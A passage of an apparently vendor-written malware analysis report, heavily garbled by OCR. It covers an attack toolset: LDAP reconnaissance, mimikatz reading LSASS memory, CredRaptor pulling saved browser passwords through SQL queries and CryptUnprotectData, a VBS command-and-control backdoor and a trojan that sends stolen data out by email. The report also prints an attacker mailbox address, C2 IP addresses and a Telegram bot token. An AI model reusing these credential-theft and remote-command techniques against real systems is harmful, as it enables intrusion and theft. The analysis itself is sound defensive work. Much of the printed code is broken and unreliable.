wprintf (L"LDAP Revision Number is %d \n", u6);
wprintf(L"Highest LDAP Uersion Supported is %d \n", v7);

Figure 39 Connecting to the LDAP server

After successful connection to the LDAP server, LDAPquery.exe automatically uses the
Idap_search function to query information related to the server and then displays such information.
The IP address of the LDAP server depends on the running parameter. If the parameter is
unspecified, LDAPquery.exe connects to the default LDAP server.

Figure 40 shows the query of partition information.

vil = 8
iF ( Ldap_search_su(at, L"CN=Partitions CH<Configuration DC=ninfin, DC=1ocal™, 2u, 0, Battrs, O, Gres) )
{
ifF ( rou)
Idap _nsgfree(res);
sult = 83
H
else

Figure 40 Query of partition information

Figure 41 shows the query of computer information.

if ( ldap_search_sW(al, L"DC=minfin,DC=1local", 2u, L"(objectCategory=computer)", 08, 8, &es) )
{

vl = LdapGetLastError();

wprintf (L"GLE=%d", v1);

if ( res )
ldap_nmsgfree(res);
result = 0;
b

Figure 41 Query of computer information

Figure 42 shows the query of user information.
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if ( ldap_search_sW(al, L"DC=minfin,DC=local™, 2u, L“(objectCategory=user)”, 0, 0, &es) )
{
I = LdapGetLastError();
wprintf(L"GLE=%d", u1);

if ( )
ldap_msgfree(res);
t = 0;

Figure 42 Query of user information

Figure 43 shows the query of other information.

1F ( 1dap sen W(at, L"CH-Schens CH-Configuration PCminfin, DC-local™, O, L"{objectClass~«)", 0, 0, & ) )
Ldaphetiastirror();
wprintf (L SLE~%0™, ):
ifF ( )
Idap_nsqfree(res);
S

Figure 43 Query of other information

mimikatz.exe

Main Function

mimikatz.exe can obtain the administrative user name and password. It can work in only 32-
bit operating systems to read the memory and capture the user name, work group, and password by
injecting itself to Isass.exe.

The password field in Isass.exe is encrypted not using hash and the encryption parameter is not
removed but remain in the memory. Therefore, mimikatz.exe can read the encrypted password and
parameter in the memory and call the decryption module in Isasrv.dll for decryption, so as to get the
user's password in plaintext.

mimikatz.exe can obtain the user names and passwords of all logged-in users.
Behavior Analysis

mimikatz.exe injects itself to Isass.exe to read the memory, as shown in Figure 44.

mov ecx,[arg.3] Case 1 of switch B8840951A
nov :

pBytesRead

BytesToRead

Buffer

pBasefddress
hProcess

IE8488(call

moi ocd
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Figure 44 Injecting Isass.exe and reading the memory
mimikatz.exe obtains dynamic addresses of the following from the read memory addresses via
offsets.
(1) User name
(2) Work group
(3) User password (in ciphertext)

Then mimikatz.exe reads the user names in dynamic addresses, as shown in Figures 45 and 46.

008 32bit  7FFOF ODO(FF

PN TP 0] 00L09561 | Call from d8614bc1 00409568 to

0012FDSK| DOOO0ESH|| hProcess 00800050 (window)
0012F058| 0ooCDD10|| pRaseAddress « BxCOD10
0012FD5C| OMISCADD|| BuFfer 0M15CHD0

D012FD60| 00ODDOOS|| BytesToRead = Ox8

0012FD64| a0000000|LpBytesRead = NULL
0012FD68| BOROOBOD
0012FD6C| MOISCA1S
0012FD70| 0GaANDBGN
0012FD74| DOOORDOS
0012FD78| 0OBOORORE
2012FDJ7C| Labdobese

Figure 45 Reading the user names (1)

ULEkAa g ) 00409561 Return from kernel32.ReadProcessMemory to d8614bc1.00409561
0812FD5 4 HOUHUHQHE
PB12FD58| 0OBCOD1O

B012FDSC| B015C4D08| UNICODE "Xue Beichen"
0012FD60| 00DOODOS |

Figure 46 Reading the user names (2)

mimikatz.exe reads the password in ciphertext.

L at

Petan trum hereel12 Reedivoe e sbermony (1 S101dbe 1 (OTISA1

Figure 47 Reading the passwords in ciphertext

mimikatz.exe calls the decryption function in Isasrv.dll to decrypt the passwords in ciphertext,
as shown in Figure 48.
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74591380 8838 mov esi,
744913 6F 894D mov dword ptr ss:[ebp-0x68],ecx

75491312 FFD2 call edx 1sasrv.744900C3
= 74491314 8B45 e dword ptr ss:[ebp-8x28]
& 74491317 8B10
74491319 8B3B
74491318 33FA
7449131D 8B53
74491328 8938
74491322 8B48
74491325 33D1

74491327| 8953 ,edx
7459132A| 8B55 AG 'dx ,dword ptr ss:[ebp-8x68]
74491320 8938 esi
7449132F( 8958 b4

74491332|" E9 S2EDFFFF 1sasru.744908089

Figure 48 Calling Isasrv.dll

mimikatz.exe obtains the user's password in plaintext, as shown in Figure 49.

0O1SCBCO[7% 00 65 00|73 00 74 00[70 00 77 08|64 06 31 80|L.e.s.t.p.v.d.1,

0@15C8D0(32 00 33 00|00 00 00 0B|OF 00 O4 00|64 01 D8 09)2.3..... N. |.di8)
0015C8E0(00 00 60 00[SC 06 57 00|49 00 4E 60|44 00 4F 60....\.V.1.N.D.O,

Figure 49 Obtaining the user's password in plaintext

CredRaptor.exe

Main Function

CredRaptor.exe can determine the version of Internet Explorer (IE) browsers by checking the
system version and then parse the user name and password file stored under IE browser folders,
thereby obtaining user information. The information stored in the folders of the following browsers
can be obtained: Google Chrome, Internet Explorer, Mozilla Firefox, and Opera.

Behavior Analysis

CredRaptor.exe first checks the system version, as shown in Figure 50.

if { sub_47B388() ) /f check system version
{
sub_4BBA3A{US, ): /4 win8 - win1® run this Function
H
else if { sub_U7B266() ) A4 win?
{

Figure 50 Checking the system version

CredRaptor.exe obtains the IE version, as shown in Figure 51.
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1F ( ReglpenkeyixW(NKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Internet Explorer™, 0, Bx20019u, EntkResult)
11 (ReglueryUalueExi(
phkResult,
LpUalueNae
o,
&lype,
&hata,
Behlata), // svcVersion
RegCloseley(phkResulit),
westonbs(&u/, (const wchar | #)&bata, Gx183u),
(v1 = strchr(lu/, 46)) =~ B) )

Figure 51 Obtaining the IE browser version

CredRaptor.exe calls the function for decryption, as shown in Figure 52.

if ( CryptUnprotectData(&pDataln, @, &pOptionalEntropy, @, 8, 1u, &pDatadut) )

i
sprintf_s{&DstBuf, @x4@860u, "%S", pDatalut.pbData);

ui{ = strchr{&DstBuf, 58);
U = u¥;
*)7 = B;

strcpy_s{&Dst, Bx480u, &DstBuf);

strcpy_s{&u42, 8x488u, vi + 1),

strcpy_s{&uih, 0x480u, *=(const char ==){*{ DWORD =){uld + 4 = uS) + 8));
strcpy(v49, "Hicrosoft Winlnet ");

Figure 52 Calling the decryption function

The CryptUnprotectData function can be used to decrypt all the data encrypted by a user with
the same permissions.

CredRaptor.exe attempts to read information of the IE browser user, as shown in Figure 53.
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if }

1
fuprintf( » L"WnURLYENENE= ") ;
fclose( Y;

H

gettempfilepath_47B258();
_wfopen( « L7ab™});

if )
{

fuprintf( , B ¥;
fclose( Y;
H

gettempfilepath_47B258();
_wfopen( « L7ab™});

if )
{

fuprintf( » GOFF_4A13B4);
fclose( Y;
¥

gettempfilepath_47B258();
_Wfopen( , L"ab"™});

if )
{

fuprintf( , B ¥;
fclose( Y;
H

gettempfilepath_47B258();
_wfopen( « L7ab™});

if )
{

fuprintf( » L"WNPASWWORD = ");
fclose( Y;
H

Figure 53 Reading user information

CredRaptor.exe obtains the path of the log file, as shown in Figure 54.

Registers (FPU) < < < < < < <

EAX UMICODE "*C:\UsersihellovApplatailocaliTempy_us_hello_138281"
ECK ¥53F768BC KernelBa.753F768C

EDX B8000008
EBS YFFDFBH8

Figure 54 Obtaining the path of the log file

CredRaptor.exe records some information, as shown in Figure 55.
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vl = qnlomﬂlrpa(h_h?a?ﬂ(); /7 Obtains the file path C\Users\hello\AppDatah\local\Temp'_us_jellp 1382012 ~tmp
I = _wfopen(un, L"ab™);

iF ( 01)

[Fuprlntf( A, LUThis i5 HTTP based credentials For Internet Explorer version from 7 to 9. :\n");l
tclose(Vvy)5
)

Figure 55 Obtaining some information

In the case of a Chrome browser, CredRaptor.exe copies the file for saving user information to
a temporary folder. Then CredRaptor.exe attempts to parse the file to read Google account
information.

MSToNCS(BE cistingfiletans, &Unl, Bx18u); // C:\\Local Settings\\Applicatios Data\\Google\\Chrome\\Default\\Logle Data
geencpy(Bhouf i lekaae, L. A\chronedd _trp™, BX1EV);
] = CopyFiled(BExistingl ilelane, &Nowiilelune, B);
GetlastError();
if ({ vi3)
{
uit = sub_K5Fare(ve, (1at)" . \\chromedh tap“, {int)&u7%, 1);// detect the sql File to rrad user infermation
if ( w16 )
{

= sub_MHBF@(.10);
I = sub kBS1IN(“sqlited_open w2() -> Camnot open database: Js\n™, vi/);
FPrAntf((FILE »)(cth « 6k), v1V);
H

Figure 56 Copying the file for saving user information to a temporary folder

CredRaptor.exe uses such  SQL  statements as SELECT ORIGIN_URL,
USERNAME_VALUE, and PASSWORD_VALUE FROM LOGINS for query operations, as
shown in Figure 57.

u23 = sub_465710(
(char)v22,
¥29,
“SELECT ORIGIN_URL ,USERNAME_UALUE ,PASSWORD_VALUE FROM lOGINS“J
(int (__cdecl »)(int, int, char =, char «))sub_4861210,
u29,

(Uf) id == )&'.‘:l ”) H //i woutes SO statemants for guarying the user name and password

Figure 57 Executing SQL statements

If a Firefox browser exists in the system, CredRaptor.exe parses its file for saving user names
and passwords. First, CredRaptor.exe obtains the installation path and version of the Firefox
browser, as shown in Figure 58.

SUb_NOMIBO( (L0t e Jo "SOFTWREAMezilla\\ozilla Fivefox", Wm20w);:// wrhas
- u:

pet - 240;
1F ( YR tialurig
WHEY LUCAL WRERIs ,
SEFTWIREN \Moziiia\\mozilla Firefon ESNY,
"EurrentUers s,

o,

&~ 'y

2pehbata)
1 Ot aluen (HEEY_LOCAL _MICHINE, “SOFTWIRE\\Morilia\\mexzilla Firefex™, “CurrentUersien™, 8, Gpubata, Spcobata) /7 Gt verson it

{
Sub NDAMTDLL L0 I o WY, )
SUb_NDAMID(Lnt Map o Bpubata, strien(Bpvbata));
wab_ NDMATO(( Lt )y . VANainT, Se):
R~ abkeys
pridats = 260;
ir ¢ ¢ 10 )
1 = (const CHAR »)i LTI

LHESIOAtunA(HREY_LODM _MICHINE, ui, “Tastall Dirsctery™, B, Boubala, & Ata) il Otanm o

Figure 58 Obtaining the installation path and version of the Firefox browser
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CredRaptor.exe parses \logins.json (if any) to obtain the encrypted user name and password,
as shown in Figure 59.

sub_NOKI1BO((int)&unb, & ileHane, strilen(fs 1 leNane)) s
FileSizeRigh = (DWORD)&UIB;
§ = N3
sub KO6SAB(RVIE, (lot)&ual, “\\logins.json")z
= sub NOOFCO(vIn, w19, v2h, v21, (int)e22, v23, (Int)u2y, (int)u25);// Pames logins ;'«]
ony = -1;
iF ( uh2 >= mx10 )

operator delete(uii);
memset(Buit, 0, 9x104u);
strocpy(&uis, &FileNane, strien(&Filedanc));

Figure 59 Parsing \logins.json

CredRaptor.exe parses \signons.sqlite (if any) to read the encrypted user names and passwords,
as shown in Figure 60.

[,uo RORIOU(( LN JGunk, TSLLLLT SOCTypLedusername, encrypledrassuord, ROsLNane ,NLLpREaln THUH S0z Logins lbml'ui}
T

LOBYTE(U/9) = 13
1F ( veh € mx10 )
16 = Suhl;
if ( sueb_sSEDBO(USS, vit, -1, Guni, B) )
(

printé(\n sqlited _prepare _v2{\"Ts\"} : ¥s\n", "temp™);
}

Figure 60 Parsing \signons.sglite

Intercepter-NG.exe

Main Functions

Intercepter-NG.exe is a packet capture tool written by Russians. It offers the following
features:

® Sniffing passwords or hashes of types: ICQ, IRC, AIM, FTP, IMAP, POP3, SMTP,
LDAP, BNC, SOCKS, HTTP, WWW, NNTP, CVS, TELNET, MRA, DC++, VNC,
MYSQL, ORACLE, and NTLM.

® Sniffing real-time chat messages of instant messaging tools such as ICQ, AIM,

JABBER, YAHOO, MSN, IRC, and MRA.

Promiscuous mode, ARP, DHCP, gateway, and smart scanning.

Raw mode, eXtreme, and Resurrection mode.

Capturing packets and offering offline post-capture analysis.

Capturing remote data via a RPCAP daemon.

NAT, SOCKS, and DHCP.

Launching ARP\DNS over ICMP\DHCP\SSL\SSLSTRIP\WPAD\SMBRelay man-

in-the-middle attacks.

® Working on the Windows NT platform, any *NIX platforms, and iOS and Android
platforms.

For more information, visit the official website:
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VBS

Main Functions
It obtains commands from the server end and then executes them.
Behavior Analysis

It requests data from the remote server, converts it into commands, and executes them, as
shown in Figure 61:

Oiw timeout:tiveout = 28

Oim BUr1:DIP = ¢

Oim portiport =

Oim sRequest:sRequest =

Ois pUrl: purl » ey « DIP » e port «

Ofm sendUrl: sendUrl s “htig + bDIP « - port «
Oim AtmlUrl:htelUrl = + BIP + + port +
Dim exitflagrexitflag = False

Dim fs0iSet 50 » Createlvject( ipting 1
Ol= oShell:Set oShell » WScript.CreateQdject(
Dim OHTTP:Set OHTTP = Createlbject( FC ARLWTTP™)
nnane « GetMiave() ., Obtains the host name.
vac = OetMAC(hname) , Obtains the MAC address.

Do wnile True
e_rnd = Rana()

params = "» . Bac » * hnase + Ate" o CStritimecut) « b ¢ CStrim_rrd)

params = EncodeText(params)

answer « GetMTML(ht®lUrl « params) / / Requests data from the server.

1f snswer<> 8 Then
results = parseAnswer(snswer) // Converts the requested data into commands and executes them.
For Each response In results

ponsed Then
HTTPPost purl, gor
1€ exitflag « True Then

[
// Sends the execution results to the remote server.

WScript.Quit 1 // Exits when exitFlag is True.
End 17
End 1¢
Next
End 1€
WScript.Sleep timecut * GODRE

Loop

Figure 61 Obtaining data from the server

It converts the requested data into commands and executes them, as shown in Figure 62.
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Function parseAnswer{serv_ansaer)
answer = DecodeText(sery_answer)
resuit -
result_arrsy = Ar

If amswer <> ' en
im cwdsiceds « Split{enswer,
Preserve result_arcay (USound{ceas))
i = @ To UBcund(ceds)
angwer = coas(i)

1¥ anawaco» Then
Dim report_id
Dim cmo
pos = InStr{answer, )
pos2 = I ansuer, “51°)
I¥ pos2<>0 Then
If pos > <1 Ther
i » 1)
™en
n{answer)) (pes2 « 3)
(ansmer, posld « 3, 1 + 1)
trstrfiend, ]
I¥ posSpace <> +1 Then
argd « Nofcmd, 1, pesSpace -1)
argl = Malemd, posSpece « 1, Lan{cnd) posSpace)
resvlt = runlod(report_i@, srgh, argl) // Executes commands.

result_array(i) » result
s

Eng 1¥
parseAnseer = resglit_arrey
End Function

Figure 62 Converting the requested data into commands and executing them

It performs its functions by executing commands, as shown in Figure 63:

rep _id, srgd, argl)
result: result -

) / Executes argl (and arg2, if any). The value of "result" is the execution result and error information.

result = EncodeTent{Exacfuschdlargl, 1) Executes argl (and arg2, if any). For execution success, the value of "result" is "Task Run".
Elsel® (orge « ") &

result » EncodeText
Eloelf (arg0 »

Sets "result" is the file content to be re-encoded.

tiseout = Clntargl) Sets the sleep time.

result « EncodeText t . argl) // Sets "result" to the content specified with "Set tm=" + arg1 for encoding.
[lself (orgd « “ibye”) Tren

result = EncodeText ) '/ Sets "result" to the content specified with "Set tm=" + arg1 for encoding.

exitFlag = Trus '/ Sets exitFlag to True.

17 (org® « ) Thes

result » EncodeText(") ) / Sets "result" to the content specified with "Kill" for encoding.
Deletes files related to the sample.
True Sets exitFlag to True.
) Then

teat = Encosetile(patn)
¥ texto> Then

SendFile senourl, text, CStrirep_is Encodes the file content specified with argl and sends the encoded conent.

af » Trie '/ Sets sfto True.
e

result « Encoselext( ¢ )
Ena 14

fise
rasult = Encodelext! aild o nts")
nd 1¥

f sfafalse

nen
sReguest = « Citrireg_i3) - result
Else
sfefalse
Eng 1f
Job = sReguest
En2 Function

re

Figure 63 Executing commands

For the VBS sample, commands are in the format of report_id$arg0 argl.

Table 4 Command formats of the VBS sample

Command Function
lemd argl Executes argl.
lemdd argl Executes argl.
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!dump argl Sends the content specified by argl for encoding.

Itimeout argl Sets sleep time.

lbye Sets exitFlag to True. exitFlag controls whether to exit the sample.

tkill Indicates that the files related to the sample are deleted (exitFlag setting to

True indicates the sample exits).

lup (int) Encodes the file contents specified with argl.

telebot.exe

Main Functions
telebot.exe is a trojan program that executes different commands to perform various functions.
Behavior Analysis

This program obtains the required file from its own mailbox, encodes it to get commands, and
then executes them.

, Getarg ) Sends the required file to its own mailbox.
Runs commands represented by Getarg and sends the
execution result and error information to its own mailbox.
letarg , TN ILOS: Downloads the file represented by mbTyaFBCEqHSz
and executes it locally.
heckin » Tree Sends an email to its own mailbox, which contains
character strings and information about the local device.

Getarg . | ECEgS:

Sends an email to its own mailbox, which contains
character strings and information about the local device.

Figure 64 Sending a file

For this program sample, commands are in the format of {"CMD":"*","*"":"jobid","ARG":"*"'}.

Table 5 Command formats of the program sample

Command Function
CMD:download Sends the file specified with "filepath" to its own mailbox.
ARG:filepath
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CMD:cmd Runs the command (represented by "cmd command") and sends

ARG:cmd command the execution result and error information to its own mailbox.

CMD:upload Downloads the file specified with "url" and executes it locally.
ARG:url

CMD:forcecheckin, Sends an email to its own mailbox, which contains character
ARG: strings and information about the local device.

This program logs in to its own mailbox before sending the stolen information to its mailbox,

as shown in Figure 65.

ot

sendmalltoself ( text , jobld « , attachment « [ | , checkin « Falze )
foreatuuld = wuidstring
i jobia
formatuuid » ol « format { uaidstring , jobie¢ )
elif checkin
formatuuld « ecki v focant ( wuidstring )
RsSgroot « MINERUItipart ( )
sigroot | ] = formatuuia

ssgroot [ 'V ] = evailscidress

4 bject' ] « formstuuid

-{ : TES ’

nes je ( str ( ssgtext ) )
oth ( MIMEText ( wagtext ) ) )

sttochren

exist filele ) == True

GetSysInfFo ( ) , "ADMIN IsAdedn ( ) , SE text )

if peth . exi
part = MiMESase ( ‘applicatt R et san' )
part . t_seyloas ( on ( #ilals , t ) et (1))
tncoders #ncode_baseld ( part )
part pca_neoder ( tect
msgroot attach ( part )
while Trus

// Encapsulates the attachment.

mat { poth . tasename ( filels ) ) )

satpserves = SMIF ( )
satpserver . connect ( outlooksite , coport )
satpserver . starttis ()

ARCYRS L esallagdress SASSRRCRALL
l)nlnur.e- encmpil { emaileddress , ewsiladdress , msgroot 0s_5? g ¢ ) .l
sNCpserver it ¢ 7
break
except Exception ss YgQoUrlEf
E¥ globalflag == True @ NeiteStrTofile { YgQoUrOEf )
sieep { @ )

Figure 65 Sending stolen information

Figure 66 shows the user name and password of an Outlook mailbox.

import urllibZ
emailaddress = 'elena.makeieva@outlook.com'
passwordstr = ' &

Figure 66 User name and password of a mailbox account

Checks on the mailbox account suggest that this account is still available, but should be

authenticated before being used.

BT ALE R
B
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Figure 67 Mailbox being available

Attack Location

The sample analysis reveals that this sample connects to two IP addresses and one domain

name as follows:

1. IP address 188.234.144.11 in Russia.

=

e IDEESR
[188.234.144 11 EN o,
& I
%
EYLEH: .
IP ifit: 188.234.144.11  [whois] T
EZRER: RUS / RU Baltic Sea Z2El
[EZ: Russian Federation A BT

HEX:

tghr:

FpéR:

£fE: 55.73860168457
$ZFE: 37.606800079246

RS

| 5 5
~LBLETL

N
Go

’ |
IP: 188.234.144.11 X

E$R: Russian Federation |

e A

4
MO@BB

5

% 138 ©2017 GS(2011)6020 Google. ORION-ME  {FHER: #E%ﬂﬂ@i‘a‘@‘

Figure 68 Attack location (1)

2. IP address 93.190.137.212 in Holland.

K@pennavn
-l ] ) ’ BE IEES BE ®
=40 93.190.137.212 KX oo r -
- *E' ’ 1P: 93.190.137.212 % | Y
PR 3
25 BE : El5R: Netherlands ’ i
FH42%5: customer.worldstream.nl Mgncgester Harr(l)burg
1P #ihit: 93.190.137.212 [whois] Lﬁ%ﬁ : ol ) e [;E:“*n
EZ: NLD / NL = A Amstyrdam i
fi =t
E®R: Netherlands London 7ol /R 0T
H#E: ® Bruxelles FJ{‘F!
o Brussel Kgln =EF =
tgh: \'\x Oﬁ]a-j HHIE
g Praha
HR: 0. ‘®
Ge  mEaE
4 52.382400512695 BR V\N\\,\;*Ei & BT
Paris Erankfurt
SZFE: 4.8994998931885 ® arh Main =4
i
By
+
B = _c
K= i - ]
Milano N <
Google wEIE EEST BSLEmE
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Figure 69 Attack location (2)
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3. Isass connects to the following domain name:
https://api.telegram.org/bot140192111: AAGSxqO9Xz9meTaG7Ecdh80LGnY XNIbbgp4

Figure 70 shows the domain name parsing result.
apl telegram org

1P Tl w Whols

ATMRYT :
) R IR leveld com
Bl 5t W ety
TEAREE AR
2= b == BaluE ity
FRINS 0N S vodalone co.nz
SHELE SELM Kt com
ARl MR
(a2 Ay 22w Bl aig N rs
FOT SR T O] Fram
SR SR
B SEMRHTIER

2011 11.12 20161220
2016-11-12 2016-12-28
2016-11-12 2016-12-28
20 1112 2016-12-28
2016-12-1¢ 2016-12-26
2016-12-15 2016-12-28
207612106 2016-12-28
20761215 20161220
20161215 20176-12-28

2016-12-20 '016-1

Figure 70 Domain name parsing result
Recommended Solution
1.1 NSFOCUS Detection Services
1. NSFOCUS engineers provide onsite detection services.
2. NSFOCUS provides online cloud detection services. You can visit the following link to

apply for the trial use of NSFOCUS Threat Analysis Center (TAC):
https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?service id=1018

1.2 NSFOCUS Solution for Removing Trojans

1. Short-term service: NSFOCUS engineers provide the onsite trojan backdoor removal
service (manual services + NIPS + TAC + Kingsoft \V8+ terminal security system) to
ensure that risk points are immediately eliminated in the network and the event impact is
minimized. After the handling, an event analysis report is provided.
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2. Mid-term service: NSFOCUS provides 3- to 6-month risk monitoring and preventive
maintenance inspection (PMI) services (NIPS + TAC + manual services) to eradicate
risks and prevent events from recurring.

3. Long-term service: NSFOCUS provides industry-specific risk mitigation solutions
(threat intelligence + attack traceback + professional security service).

Conclusion

Like a BlackEnergy attack, this attack takes leverage of a spear phishing email attached with
a Microsoft Excel document that contains a malicious macro as an initial infection vector. The
difference is that this malicious document does not employ any social engineering methods to
entice victims to click the macro start button. This is because when such methods are
introduced, whether the attack succeeds entirely depends on the victim clicking it.

After the macro virus runs, the malicious file is dropped to perform malicious functions.

About NSFOCUS

NSFOCUS IB is a wholly owned subsidiary of NSFOCUS, an enterprise application and
network security provider, with operations in the Americas, Europe, the Middle East, Southeast
Asia and Japan. NSFOCUS IB has a proven track record of combatting the increasingly complex
cyber threat landscape through the construction and implementation of multi-layered defense
systems. The company's Intelligent Hybrid Security strategy utilizes both cloud and on-premises
security platforms, built on a foundation of real-time global threat intelligence, to provide unified,
multi-layer protection from advanced cyber threats.

For more information about NSFOCUS, please visit:

http://www.nsfocusglobal.com.

NSFOCUS, NSFOCUS IB, and NSFOCUS, INC. are trademarks or registered trademarks of
NSFOCUS, Inc. All other names and trademarks are property of their respective firms.

QR code of NSFOCUS at Sina Weibo QR code of NSFOCUS at WeChat
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